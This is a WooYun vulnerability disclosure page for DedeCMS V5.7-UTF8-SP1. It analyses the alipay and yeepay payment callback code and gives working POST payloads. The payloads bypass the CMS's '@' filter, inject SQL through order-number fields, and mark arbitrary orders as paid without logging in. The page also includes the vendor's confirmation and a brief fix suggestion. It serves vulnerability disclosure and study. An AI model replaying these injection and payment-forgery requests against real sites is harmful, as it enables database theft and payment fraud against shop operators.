当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(102) 关注此漏洞

缺陷编号: WooYun-2014-69403

漏洞标题: DedeCMS-V5.7-UTF8-SP1 新绕过思路+sql注入+任意订单支付合集

相关厂商: Dedecms

漏洞作者: menmen519

提交时间: 2014-07-23 18:39

公开时间: 2014-10-21 18:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: sql注射漏洞利用技巧 php源码分析 白盒测试

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-23: 细节已通知厂商并且等待厂商处理中
2014-07-24: 厂商已经确认,细节仅向厂商公开
2014-07-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-17: 细节向核心白帽子及相关领域专家公开
2014-09-27: 细节向普通白帽子公开
2014-10-07: 细节向实习白帽子公开
2014-10-21: 细节向公众公开

简要描述:

由于织梦对@做了过滤,故而想起了我之前提交的一个支付接口漏洞,然后我就去做了测试,果然六月中旬发布的最新版本还没有修复此漏洞,这里我在这个的基础上面延伸出来三个漏洞,1.不用@也可以绕过防御,2.就是两处支付接口的sql注入利用,3.就是任意产品单号的任意支付 而且不用登陆的,这个太bug了

详细说明:

首先我们要回顾一下当时我的一个大胆猜想:

http://**.**.**.**/bugs/wooyun-2014-063744

这里已经对此漏洞进行了充分的证明,那么接下来我们继续看看

include/payment/alipay.php:(lines:141-146)

code 区域
if(preg_match ("/S-P[0-9]+RN[0-9]/",$order_sn)) {
//检查支付金额是否相符
$row = $this->dsql->GetOne("SELECT * FROM #@__shops_orders WHERE oid = '{$order_sn}'");
var_dump($row['priceCount'] == $_GET['total_fee']);
if ($row['priceCount'] != $_GET['total_fee'])
{
return $msg = "支付失败,支付金额与商品总价不相符!";
}
$this->mid = $row['userid'];
$ordertype="goods";



这里我用var_dump打印了那个逻辑,就是为了不让走到return那里面

然后我们看(lines:164-192)

code 区域
reset($_GET);

$sign = '';
foreach ($_GET AS $key=>$val)
{
if ($key != 'sign' && $key != 'sign_type' && $key != 'code' && $key != 'dopost')
{
$sign .= "$key=$val&";
}
}

var_dump($payment['alipay_key']);
$sign = substr($sign, 0, -1).$payment['alipay_key'];
var_dump($sign);
var_dump(md5($sign));
var_dump($_GET['sign']);
if (md5($sign) != $_GET['sign'])
{
return $msg = "支付失败!";
}
if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'WAIT_SELLER_SEND_GOODS' || $_GET['trade_status'] == 'TRADE_SUCCESS')
{
if($ordertype=="goods"){
if($this->success_db($order_sn)) return $msg = "支付成功!<br> <a href='/'>返回主页</a> <a href='/member'>会员中心</a>";
else return $msg = "支付失败!<br> <a href='/'>返回主页</a> <a href='/member'>会员中心</a>";
} else if ( $ordertype=="member" ) {
$oldinf = $this->success_mem($order_sn,$pname,$product,$pid);
return $msg = "<font color='red'>".$oldinf."</font><br> <a href='/'>返回主页</a> <a href='/member'>会员中心</a>";
}





这里我也打印了此处的所有涉及的中间变量:

然后让逻辑走到$this->success_db($order_sn)这个的时候,我们跟踪到这个函数里面

include/dedesql.class.sql:(lines:255-226)

code 区域
if($this->safeCheck) CheckSql($this->queryString,'update');
$t1 = ExecTime();
echo $this->queryString;
$rs = mysql_query($this->queryString,$this->linkID);





这里我们打印了要执行的sql语句,那么接下来我们访问:

url:http://**.**.**.**/plus/carbuyaction.php

post_data:

dopost=return&code=alipay&out_trade_no=S-P0098RN0098' and char("'")=(SELECT user())#&total_fee=&sign=06f4c5710c9faa468a0628bab208d77d&trade_status=TRADE_FINISHED



如图所示:

22.png





这里我们捕捉到两条sql语句:

1.SELECT state FROM dede_shops_orders WHERE oid='S-P0098RN0098' and char("'")=(SELECT user())#' LIMIT 0,1;



2.UPDATE `dede_shops_orders` SET `state`='1' WHERE `oid`='S-P0098RN0098' and char("'")=(SELECT user())#' AND `userid`=''



第一条 以往的 我们这里char(@`'`),就会造成这样的结果:

23.png





我们的目的就是引入注释符号,和sql的查询语句,所以当我们这里改变成为

char("'")=(SELECT user())#'成功绕过了此防御,这里只能说明一点,织梦确实对@进行了处理,但是引发了其他问题,此sql语句在sql执行器里面完美执行:

24.png





第二个问题就是这里的sql注入了,问题是我上一次提交的这个支付接口的时候由于全局没有添加request的入口文件,造成这里没有对post的数据进行转移过滤,当然了payment/apliay.php肯定此时是存在sql注入的,那么按照这个思路我们去找一下还有一个支付接口同样存在问题,

payment/yeepay.php,分析如下:

定位到文件/inlcude/payment/yeepay.php(lines:144-179):

code 区域
/* 引入配置文件 */ $code = preg_replace( "#[^0-9a-z-]#i", "", $_REQUEST['code'] ); require_once DEDEDATA.'/payment/'.$code.'.php'; $p1_MerId = trim($payment['yp_account']); $merchantKey = trim($payment['yp_key']); # 解析返回参数. $return = $this->getCallBackValue($r0_Cmd, $r1_Code, $r2_TrxId, $r3_Amt, $r4_Cur, $r5_Pid, $r6_Order, $r7_Uid, $r8_MP, $r9_BType, $hmac); # 判断返回签名是否正确(True/False) $bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac); # 校验码正确. if($bRet) { if($r1_Code=="1") { /*判断订单类型*/ if(preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order)) { //获取用户mid $row = $this->dsql->GetOne("SELECT * FROM #@__shops_orders WHERE oid = '{$r6_Order}'"); $this->mid = $row['userid']; $ordertype="goods"; } else if (preg_match ("/M[0-9]+T[0-9]+RN[0-9]/",$r6_Order)){ $row = $this->dsql->GetOne("SELECT * FROM #@__member_operation WHERE buyid = '{$r6_Order}'"); //获取订单信息,检查订单的有效性 if(!is_array($row)||$row['sta']==2) return $msg = "您的订单已经处理,请不要重复提交!"; $ordertype = "member"; $product = $row['product']; $pname= $row['pname']; $pid=$row['pid']; $this->mid = $row['mid']; } else { return $msg = "支付失败,您的订单号有问题!"; }

在154行getCallBackValue这个函数,我们跟进去看看,令人吃惊的是:

code 区域
function getCallBackValue(&$r0_Cmd,&$r1_Code,&$r2_TrxId,&$r3_Amt,&$r4_Cur,&$r5_Pid,&$r6_Order,&$r7_Uid,&$r8_MP,&$r9_BType,&$hmac) { $r0_Cmd = $_REQUEST['r0_Cmd']; $r1_Code = $_REQUEST['r1_Code']; $r2_TrxId = $_REQUEST['r2_TrxId']; $r3_Amt = $_REQUEST['r3_Amt']; $r4_Cur = $_REQUEST['r4_Cur']; $r5_Pid = $_REQUEST['r5_Pid']; $r6_Order = $_REQUEST['r6_Order']; $r7_Uid = $_REQUEST['r7_Uid']; $r8_MP = $_REQUEST['r8_MP']; $r9_BType = $_REQUEST['r9_BType']; $hmac = $_REQUEST['hmac']; return NULL; }

该函数没有做任何处理,那么经过该函数的所有参数流向sql语句,必定导致sql注入: 构造请求如下: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 然后执行,我们同样注释掉: 146:require_once DEDEDATA.'/payment/'.$code.'.php'; 发送请求后,查看后台sql语句为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 发现特殊字符进入sql语句,构成sql注入 我们下来看看我们为什么要这样去构造post数据:

code 区域
$bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac); # 校验码正确. if($bRet) { if($r1_Code=="1") { /*判断订单类型*/ if(preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order))

发现要进入到sql语句必须满足,三个条件 1.$bRet == true 2.$r1_Code == 1 3.满足正则表达式 首先我们进入到CheckHmac函数:

code 区域
function CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac) { if($hmac == $this->getCallbackHmacString($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType)) return TRUE; else return FALSE; }

发现这个函数当我们传递进去的$hmac == getCallbackHmacString(......)这个函数的返回值时候,那我们就会满足第一个条件 所以我们构造post数据为: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 这时候有由于我们下载的官方软件,不知道怎么由于里面一个require导致,程序无法继续,接下来我们构造post请求,然后去官方的sp1测试站点进行测试,看看理论是否符合实际 这两处都是符合第一个正则条件: preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order) post_data1: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 对应的后台sql为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1



这个东西是我上一次提交的,没有被审核通过,这次再贴上,道理是相同的一模一样,因为代码:

code 区域
$p1_MerId = trim($payment['yp_account']);
$merchantKey = trim($payment['yp_key']);

# 解析返回参数.
$return = $this->getCallBackValue($r0_Cmd, $r1_Code, $r2_TrxId, $r3_Amt, $r4_Cur, $r5_Pid, $r6_Order, $r7_Uid, $r8_MP, $r9_BType, $hmac);

# 判断返回签名是否正确(True/False)
$bRet = $this->CheckHmac($p1_MerId,$merchantKey,$r0_Cmd,$r1_Code,$r2_TrxId,$r3_Amt,$r4_Cur,$r5_Pid,$r6_Order,$r7_Uid,$r8_MP,$r9_BType,$hmac);





这里所输入的东西,完全是有post里面的东西控制的,没有任何其他来源:

请求url:

http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php



post_data:

dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d



在查询入口处打印sql语句为:

25.png





后续怎么利用的话,和让面的绕过方法一样





下来我们看这个任意的订单绕过,并且支付成功:

前面我们不是看到了一个sql语句

UPDATE `dede_shops_orders` SET `state`='1' WHERE `oid`='S-P0098RN0098' and char("'")=(SELECT user())#' AND `userid`=''



那么问题就出来了,此处的oid我们可以控制,然后我们不用登陆,可以利用sql注入去任意设置userid的值,也可以登陆后这个userid就是我们自己的了,我们发送一个url:

**.**.**.**/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php

post_data:

dopost=return&code=alipay&out_trade_no=S-P0098RN0098&total_fee=&sign=70e47597b9ef99007cefc3a220f746ce&trade_status=TRADE_FINISHED

通过逻辑一步步绕过,并且更改了此订单S-P0098RN0098的状态,如果我们该自己的,那么我们这里就只要换一个自己的订单号,如图所示:

26.png





如果想改变其他人的支付状态,那么就利用sql注入了



ok 到此为止就分析完了

漏洞证明:

修复方案:

过滤 过滤 再 过滤 最好对支付这里有一个后台的秘钥值 参与进来运算

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-07-24 20:40

厂商回复:

感谢您的反馈,我们已经进行修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-23 18:41 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    关注一下

  2. 2014-07-23 18:51 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @索马里的海贼 关注楼上一下

  3. 2014-07-23 18:55 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)
    0

    关注楼上+一下

  4. 2014-07-23 18:56 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    关注楼上++一下

  5. 2014-07-23 18:56 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)
    0

    同关注

  6. 2014-07-23 19:07 | 熊猫先生 ( 路人 | Rank:16 漏洞数:11 | BY黑豆豆 VS 熊猫先生)
    0

    关注楼上+++一下

  7. 2014-07-23 20:20 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @xsser 调皮~

  8. 2014-07-23 20:22 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)
    1

    关注下楼上,再+就得递归了

  9. 2014-07-23 22:36 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)
    0

    支持!!!

  10. 2014-07-24 09:00 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    我擦 这个mark

  11. 2014-07-24 10:16 | random_ ( 普通白帽子 | Rank:315 漏洞数:52 | 推动开源 推动网络安全)
    0

    我擦 这个mark

  12. 2014-07-24 15:05 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    0

    我擦 这个mark

  13. 2014-07-25 08:56 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)
    0

    路过...

  14. 2014-07-25 13:24 | Moogong ( 实习白帽子 | Rank:33 漏洞数:8 | 伪法医)
    0

    6666666666

  15. 2014-07-28 09:39 | C4ndy ( 路人 | Rank:6 漏洞数:1 )
    0

    关注下楼上

  16. 2014-08-12 17:39 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)
    0

  17. 2014-08-12 20:33 | C4ndy ( 路人 | Rank:6 漏洞数:1 )
    0

    关注 关注

登录后才能发表评论,请先 登录